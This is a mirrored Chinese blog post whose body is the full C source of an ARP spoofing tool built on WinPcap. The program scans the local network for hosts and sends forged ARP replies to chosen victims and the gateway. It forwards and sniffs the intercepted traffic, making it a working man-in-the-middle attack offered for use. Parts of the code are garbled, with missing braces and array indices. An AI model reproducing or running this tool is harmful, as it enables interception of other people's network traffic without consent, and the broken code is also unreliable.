zoukankan      html  css  js  c++  java
  • ARP欺骗的源代码

    #include <stdlib.h>
    #include <stdio.h>
    #include <pcap.h> //winpcap的头文件
    #include <winsock2.h>
    #include <process.h> //多线程编程的头文件
    #include <windows.h>
    #include <Iphlpapi.h> //提取网关用的头文件


    #pragma comment(lib,"ws2_32")
    #pragma comment(lib,"pcap")
    #pragma comment(lib,"IPHlpApi")

    ////////////////////////////////////////////////////////////////////
    #define IPTOSBUFFERS 12 
    #define MOSTCHEATNUMBER 256 //最大的欺骗数目
    #define ETH_IP 0x0800 //定义各种标识的数值
    #define ETH_ARP 0x0806
    #define ARP_REPLY 0x0002
    #define ARP_REQUEST 0x0001
    #define ARP_HARDWARE 0x0001
    /////////////////////////////////////////////////////////////////////
    typedef struct ethdr //以太头结构
    {
    unsigned char eh_dst[6];
    unsigned char eh_src[6];
    unsigned short eh_type;
    }ETHDR,*PETHDR;

    typedef struct arphdr //arp头结构
    {
    unsigned short arp_hdr;
    unsigned short arp_pro;
    unsigned char arp_hln;
    unsigned char arp_pln;
    unsigned short arp_opt;
    unsigned char arp_sha[6];
    unsigned long arp_spa;
    unsigned char arp_tha[6];
    unsigned long arp_tpa;
    }ARPHDR,*PARPHDR;

    typedef struct acttiveIpwithMac //用于存储ip与对应mac的结构
    {
    acttiveIpwithMac* next;
    unsigned long ip;
    unsigned char mac[6];
    }acttiveIpwithMac,*PacttiveIpwithMac;
    ////////////////////////////////////////////////////////////////////////////
    char *iptos(u_long in); //用来将网络的ip地址转换成4字节形式 
    void ifprint(pcap_if_t *d); //显示pcap_if结构的信息
    int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n); //判断两个mac是否相同
    int getmmac(); //获得自己mac的函数.用pcap实现.当让还可以用GetAdaptersInfo来获得
    unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x); //向局域网内发arp请求包扫描
    unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x); //接受并存储局域网的arp响应信息
    unsigned int _stdcall sproof(void *x); //欺骗某一特定的主机,需传递主机的序号,序号由扫描获得
    unsigned int _stdcall transmitandsniffer(void *x); //转发包的线程
    int Getgatewayip(ULONG choosedip); //获取本地的网关ip
    //////////////////////////////////////////////////////////////////////////
    PacttiveIpwithMac myip,gateip,Pipmachead=NULL; //定义全局变量记录我的和网关的ip和mac
    ULONG mynetmask; //我的子网掩码
    pcap_t *slecadopt; //指向选择网卡的指针 
    int Ssendover=0; //用于控制线程的标志
    int cheat[MOSTCHEATNUMBER]; //用于控制欺骗线程的标志

    ///////////////////////////////////////////////////////////////////////////
    int main() 
    {
       myip=new acttiveIpwithMac; //记录自己的ip
    gateip=new acttiveIpwithMac; //记录网关的ip
    u_long sendarphd,recvarphd,transhd,sproofhd[MOSTCHEATNUMBER]; //用于线程控制的变量
       PacttiveIpwithMac z,k,j;
       unsigned sendarpid,recvarpid,transid,sproofid[MOSTCHEATNUMBER]; //用于线程控制的变量
       pcap_if_t *alldevs,*d; //pcap里对网卡的控制量
    int i=0,m,maxactive,inum;

    char error[PCAP_ERRBUF_SIZE]; 

       
    /* 获得网卡的列表 */
    if (pcap_findalldevs(&alldevs, error) == -1)
    {
    fprintf(stderr,"Error in pcap_findalldevs: %s\n", error);
    return -1;
    }
    /* 打印网卡信息 */
    for(d=alldevs; d; d=d->next)
    {
    printf("%d. ", ++i);
       ifprint(d); /* 循环调用ifprint() 来显示pcap_if结构的信息*/
    if (d->description)
    printf(" (%s)\n", d->description);
    else
    printf(" (No description available)\n");
    }
       
    if(i==0)
    {
    printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
    return -1;
    }
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum); //输入要选择打开的网卡号
    if(inum < 1 || inum > i) //判断号的合法性
    {
    printf("\nInterface number out of range.\n");
    /* Free the device list */
    pcap_freealldevs(alldevs);
    return -1;
    }
    /* 找到要选择的网卡结构 */
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
       /*找到我的ip*/
       myip->ip=((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr;
       /*获得选择网卡的子网掩码*/
       mynetmask=((struct sockaddr_in *)d->addresses->netmask)->sin_addr.s_addr;
       //printf("netmask:%s\n\n",iptos(mynetmask));
    /* 打开选择的网卡 */
    if((slecadopt = pcap_open_live(d->name, 1000, 1, 1, error) ) == NULL)
    {
    fprintf(stderr,"\nError opening adapter: %s\n", error);
       pcap_freealldevs(alldevs);
    return -1;
    }
    /*获取网关的信息*/
    if(Getgatewayip(myip->ip))
       printf("\tGateway: %s\n",iptos(gateip->ip));
    /*获取本地mac*/
       while(getmmac()==0);
       printf("my mac: %02x:%02x:%02x:%02x:%02x:%02x\n\n",myip->mac[0],myip->mac[1],myip->mac[2],myip->mac[3],myip->mac[4],myip->mac[5]);

    /*扫描局域网内活动主机*/
    sendarphd=_beginthreadex(NULL,0,sendpackettogetallacttiveIpwithMac,0,0,&sendarpid);//开启arp扫描包线程
       recvarphd=_beginthreadex(NULL,0,recvpackettogetallacttiveIpwithMac,0,0,&recvarpid);//开启接收arp响应包线程
    WaitForSingleObject((HANDLE)sendarphd,INFINITE); //主线程停止等待发送线程结束
       for(m=5;m>0;m--)
       {
       printf("scanning\n");
    Sleep(500); //等待回应包到达,共等2500ms.不够可调
       }
       Ssendover=1;//置标志,停止接收线程
       WaitForSingleObject((HANDLE)recvarphd,INFINITE); //主线程停止等待接收线程结束
       if(Pipmachead!=NULL)
       {
       /*去处重复的活动主机*/
       for(k=Pipmachead;k->next!=NULL;k=k->next)
       for(z=k;z->next!=NULL;)
       {
       if((k->ip==z->next->ip)&&(macequal(k,z->next)))
       {
    j=z->next;
       z->next=j->next;
       delete j;
       }
       else
    z=z->next;
       }
       /*输出列表*/
       for(z=Pipmachead,i=1;z!=NULL;z=z->next,i++)
    printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(z->ip),z->mac[0],z->mac[1],z->mac[2],z->mac[3],z->mac[4],z->mac[5]);
       }
       for(k=Pipmachead;k->next!=NULL;k=k->next)
    if(k->ip==gateip->ip)
    gateip=k;
       maxactive=i-1;
       CloseHandle((HANDLE)sendarphd);
       CloseHandle((HANDLE)recvarphd);
       transhd=_beginthreadex(NULL,0,transmitandsniffer,0,0,&transid); //开启转发线程
    printf("transmitandsniffer已经开始了!!\n");
       for(i=0;i<256;i++)
    cheat=0;
       printf("已经得到了本局域网的活动主机!!!\n选择你想欺骗的机器序号一次一台:");
    printf("选择你想欺骗的机器序号:\n");
       for(;;)
       {
       scanf("%d",&i);
       if(i>0&&i<=maxactive)
       {
       if(cheat[i-1]==0)
       {
       cheat[i-1]=1;
       sproofhd[i-1]=_beginthreadex(NULL,0,sproof,&i,0,&sproofid[i-1]);
       }
       else
       printf("\n%d号机已经欺骗了!!大佬!!\n",i);
       }
       else if(i<0&&i>=-maxactive)
       {
       if(cheat[-i-1]==1)
       {
    cheat[-i-1]=0;
    CloseHandle((HANDLE)sproofhd[i-1]);
       }
       else
       printf("\n%d号机没欺骗怎么结束啊!!大佬!!\n",-i);

       }
       else if(i>maxactive||-i>maxactive)
       {
       printf("\n没有这么多机器,大哥,只有%d台!!\n",maxactive);
       }
       else
       {
    for(i=0;i<256;i++)
       cheat=0;
       }
       Sleep(100);
    Sleep(100);
       Sleep(100);
       Sleep(100);
    for(i=0;i<256;i++)
    if(cheat==1)
       printf("\n%d号机正在被欺骗和嗅探选择,想退出对此机的嗅探输入-%d",i+1,i+1);
    Sleep(100);
       Sleep(100);
       printf("\n选择你想嗅探的机器序号:");
       
       }
       return 1;
    }

    char *iptos(u_long in)
    {
    static char output[IPTOSBUFFERS][3*4+3+1];
    static short which;
    u_char *p;
    p = (u_char *)&in;
    which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
    sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
    return output[which];
    }

    int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n)
    {
    int i=0;
    if(memcmp(n->mac,m->mac,6)==0)
    i=1;
    return i;
    }

    void ifprint(pcap_if_t *d)
    {
    pcap_addr_t *a;
    /* Name */
    printf("%s\n",d->name);
    /* Description */
    if (d->description)
    printf("\tDescription: %s\n",d->description);
    /* Loopback Address*/
    printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");
    /* IP addresses */
    for(a=d->addresses;a;a=a->next) 
    {
    printf("\tAddress Family: #%d\n",a->addr->sa_family);
    /*关于 sockaddr_in 结构请参考其他的网络编程书*/
    switch(a->addr->sa_family)
    {
    case AF_INET:
    printf("\tAddress Family Name: AF_INET\n");//打印网络地址类型
    if (a->addr)//打印IP地址
    printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
    if (a->netmask)//打印掩码
    printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
    if (a->broadaddr)//打印广播地址
    printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
    if (a->dstaddr)//目的地址
    printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
    break;
    default:
    printf("\tAddress Family Name: Unknown\n");
    break;
    }
    }
    }

    int Getgatewayip(ULONG choosedip)
    {
    PIP_ADAPTER_INFO pAdapterInfo;
    PIP_ADAPTER_INFO pAdapter = NULL;
    DWORD dwRetVal = 0;;
    //ULONG p;

    pAdapterInfo = (IP_ADAPTER_INFO *) malloc( sizeof(IP_ADAPTER_INFO) );
    ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);

    // Make an initial call to GetAdaptersInfo to get
    // the necessary size into the ulOutBufLen variable
    if (GetAdaptersInfo( pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) 
    {
    free(pAdapterInfo); //malloc动态声请的空间要free
    pAdapterInfo = (IP_ADAPTER_INFO *) malloc (ulOutBufLen); 
    }

    if ((dwRetVal = GetAdaptersInfo( pAdapterInfo, &ulOutBufLen)) == NO_ERROR) 
    {
    pAdapter = pAdapterInfo;
       while (pAdapter) 
    {
    if(myip->ip==inet_addr(pAdapter->IpAddressList.IpAddress.String))
       {
       gateip->ip=inet_addr(pAdapter->GatewayList.IpAddress.String);
       return 1;
       }
    printf("\t***\n");
       pAdapter = pAdapter->Next;
    }
    }
    return 0;
    }

    int getmmac()

    unsigned char sendbuf[42];
    int i=7,k;
    ETHDR eth;
    ARPHDR arp;
    struct pcap_pkthdr * pkt_header;
    u_char * pkt_data; 

    for(k=0;k<6;k++)
    {
    eth.eh_dst[k]=0xff;
    eth.eh_src[k]=0x0f;
    arp.arp_sha[k]=0x0f;
    arp.arp_tha[k]=0x00;
    }
    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REQUEST);
    arp.arp_tpa=myip->ip;
    arp.arp_spa=inet_addr("127.0.0.2"); //随便设的请求方ip

    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,e,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

    if(pcap_sendpacket(slecadopt,sendbuf,42)==0)
    {
    printf("PacketSend succeed\n\n");
    }
    else
    {
    printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
    return 0;
    }

    while((k=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)

    if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==inet_addr("127.0.0.2"))
    {

    for(i=0;i<6;i++)
    {
    myip->mac=*(unsigned char*)(pkt_data+22+i);
    }
    break;
    }
    }
    if(i==6)
    {
    return 1;
    }
    else
    {
    return 0;
    }
    }

    unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x)

    ULONG tip,subnetsta,subnetend;
    unsigned char sendbuf[42];
    int k;
    ETHDR eth;
    ARPHDR arp;


    subnetsta=htonl(myip->ip&mynetmask); //计算内网ip起点
    subnetend=htonl(htonl(subnetsta)|(~mynetmask)); //计算内网ip结束

    for(k=0;k<6;k++)
    {
    eth.eh_dst[k]=0xff;
    eth.eh_src[k]=myip->mac[k];
    arp.arp_sha[k]=myip->mac[k];
    arp.arp_tha[k]=0x00;
    }
    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REQUEST);
    arp.arp_spa=myip->ip;
    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,e,sizeof(eth));
    for(tip=subnetsta;tip<=subnetend;tip++)
    {
    arp.arp_tpa=htonl(tip);
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

       if(pcap_sendpacket(slecadopt,sendbuf,42)!=0)
    {
    printf("Getallactive ip PacketSendPacket in getmine Error: %d\n",GetLastError());
    return 0;
    }
    }
    return 1;
    }

    unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x)

    struct pcap_pkthdr * pkt_header;
    u_char * pkt_data; 
    PacttiveIpwithMac p,q;
    int i;
    while((pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>0)

    if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==myip->ip)
    {
    p=new acttiveIpwithMac;
    p->next=NULL;
    p->ip=*(unsigned long*)(pkt_data+28);
    for(i=0;i<6;i++)
    {
       p->mac=*(unsigned char*)(pkt_data+22+i);
    }
    if(Pipmachead==NULL)

       Pipmachead=p;
    q=p;
    }
    else
    {
    q->next=p;
    q=p;

    }
    if(Ssendover==1)
    {
       return 1;
    }

    }
    return 1;
    }

    unsigned int _stdcall transmitandsniffer(void *x)
    {
    struct changemac
    {
    unsigned char mac[12];
    };
    unsigned char bcast[6];
    memset(bcast,0xff,sizeof(bcast));

    unsigned char sendbuf[1600];
    struct pcap_pkthdr * pkt_header;
    u_char * pkt_data;
    changemac *cmac,*togatewaymac;
    PacttiveIpwithMac z;
    int i,j;

    cmac=new changemac;
    togatewaymac=new changemac;
    memcpy(togatewaymac->mac,gateip->mac,6);
    memcpy(togatewaymac->mac+6,myip->mac,6);

    //printf("1have run to here!!!\n");
    while((j=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)

       if(j==0)
    {
    //printf("2have run to here!!!\n");
    continue;
    }

    if(*(unsigned short *)(pkt_data+12)==htons(ETH_IP)&&(!(memcmp(pkt_data+6,myip->mac,6)==0))&&*(unsigned long *)(pkt_data+30)!=myip->ip&&(!(memcmp(pkt_data,bcast,6)==0)))//(*(unsigned char*)(pkt_data+6)==myip->mac[0]&&*(unsigned char*)(pkt_data+7)==myip->mac[1]&&*(unsigned char*)(pkt_data+8)==myip->mac[2]&&*(unsigned char*)(pkt_data+9)==myip->mac[3]&&*(unsigned char*)(pkt_data+10)==myip->mac[4]&&*(unsigned char*)(pkt_data+11)==myip->mac[5])))
    {
    //if()//(!(*(unsigned char*)(pkt_data+0)==0xff&&*(unsigned char*)(pkt_data+1)==0xff&&*(unsigned char*)(pkt_data+2)==0xff&&*(unsigned char*)(pkt_data+3)==0xff&&*(unsigned char*)(pkt_data+4)==0xff&&*(unsigned char*)(pkt_data+5)==0xff))&&)
    //{ //for(i=0;i<6;i++)
    // printf("%02x:",*(unsigned char*)(pkt_data+i));
    //printf("33have run to here!!!\n");
    memcpy(sendbuf,pkt_data,pkt_header->caplen);
       memcpy(sendbuf,togatewaymac,12);
    for(z=Pipmachead;z!=NULL;z=z->next)
    {//printf("444have run to here!!!\n");
       if(*(unsigned long *)(pkt_data+30)==z->ip)
    {
       i=0;
    //printf("jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjip=%s",iptos(z->ip));
       //for(;i<6;i++)
       //cmac->mac=z->mac;
    memcpy(cmac->mac,z->mac,6);
       //for(;i<12;i++)
       //cmac->mac=myip->mac[i-6];
    memcpy(cmac->mac+6,myip->mac,6);
       //memset(sendbuf,0,sizeof(sendbuf));

       memcpy(sendbuf,cmac,12);
          /*if(*///!=0)
    break;
    //{
       // printf("tansmit Error: %d\n",GetLastError());
       // return 0;
    // }



    }


    pcap_sendpacket(slecadopt,sendbuf,pkt_header->caplen);
       
    //}//printf("getip:%s len:%d\n",iptos(*(unsigned long *)(pkt_data+30)),pkt_header->caplen);
    }

    }
    return 1;
    }

    unsigned int _stdcall sproof(void *x)
    {
    int j,i=*(int*)x;
    unsigned char sendbuftogate[42],sendbuftosp[42],rsendbuftogate[42],rsendbuftosp[42];
    PacttiveIpwithMac spip;
    ETHDR eth;
    ARPHDR arp;
    int k;

    for(spip=Pipmachead,j=0;j<i-1;spip=spip->next,j++);
    printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(spip->ip),spip->mac[0],spip->mac[1],spip->mac[2],spip->mac[3],spip->mac[4],spip->mac[5]);


    for(k=0;k<6;k++)
    {
    eth.eh_dst[k]=gateip->mac[k];
    eth.eh_src[k]=myip->mac[k];
    arp.arp_sha[k]=myip->mac[k];
    arp.arp_tha[k]=gateip->mac[k];
    }
    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REPLY);
    arp.arp_spa=spip->ip;
    arp.arp_tpa=gateip->ip;

    memset(sendbuftogate,0,sizeof(sendbuftogate));
    memcpy(sendbuftogate,e,sizeof(eth));
    memcpy(sendbuftogate+sizeof(eth),&arp,sizeof(arp));

    for(k=0;k<6;k++)
    {
    eth.eh_dst[k]=spip->mac[k];
    eth.eh_src[k]=myip->mac[k];
    arp.arp_sha[k]=myip->mac[k];
    arp.arp_tha[k]=spip->mac[k];
    }
    arp.arp_spa=gateip->ip;
    arp.arp_tpa=spip->ip;

    memset(sendbuftosp,0,sizeof(sendbuftosp));
    memcpy(sendbuftosp,e,sizeof(eth));
    memcpy(sendbuftosp+sizeof(eth),&arp,sizeof(arp));

    for(k=0;k<6;k++)
    {
    eth.eh_dst[k]=spip->mac[k];
    eth.eh_src[k]=gateip->mac[k];
    arp.arp_sha[k]=gateip->mac[k];
    arp.arp_tha[k]=spip->mac[k];
    }
    arp.arp_spa=gateip->ip;
    arp.arp_tpa=spip->ip;

    memset(rsendbuftosp,0,sizeof(rsendbuftosp));
    memcpy(rsendbuftosp,e,sizeof(eth));
    memcpy(rsendbuftosp+sizeof(eth),&arp,sizeof(arp));

    for(k=0;k<6;k++)
    {
    eth.eh_dst[k]=gateip->mac[k];
    eth.eh_src[k]=spip->mac[k];
    arp.arp_sha[k]=spip->mac[k];
    arp.arp_tha[k]=gateip->mac[k];
    }
    arp.arp_spa=spip->ip;
    arp.arp_tpa=gateip->ip;

    memset(rsendbuftogate,0,sizeof(rsendbuftogate));
    memcpy(rsendbuftogate,e,sizeof(eth));
    memcpy(rsendbuftogate+sizeof(eth),&arp,sizeof(arp));

    printf("已经进入%d号机的欺骗!!!\n",i);
    while(TRUE)

    if(pcap_sendpacket(slecadopt,sendbuftogate,42)!=0)
    {
       printf("sendbuftogate Error: %d\n",GetLastError());
       return 0;
    }

       if(pcap_sendpacket(slecadopt,sendbuftosp,42)!=0)
    {
       printf("sendbuftosp Error: %d\n",GetLastError());
       return 0;
    }
    Sleep(980);
    if(cheat[i-1]==0) //重置被欺骗的目标机!!
    {
    for(j=10;j>0;j--)
    {
    if(pcap_sendpacket(slecadopt,rsendbuftogate,42)!=0)
    {
       printf("sendbuftogate Error: %d\n",GetLastError());
       return 0;
    }

       if(pcap_sendpacket(slecadopt,rsendbuftosp,42)!=0)
    {
       printf("sendbuftosp Error: %d\n",GetLastError());
       return 0;
    }
    }
    printf("已经退出对%d号机的欺骗!!!\n",i);
    return 1;
    }
    }
    }
  • 相关阅读:
    一些关于"虚拟交易"的有趣文章
    Windows中的消息队列:Message Queuing (MSMQ)
    ATLStyle模板 不用虚函数实现多态
    AIX 下获取系统CPU及内存的使用情况方法
    关于HPUNIX C 兼容性
    Android进阶Acticivity的启动模式
    ViewState & UpdatePanle & ReadOnly属性
    由网站构架演变说起
    '操作必须使用一个可更新的查询'解决方法
    ScriptManager & ClientScriptManager
  • 原文地址:https://www.cnblogs.com/qq78292959/p/2077113.html
Copyright © 2011-2022 走看看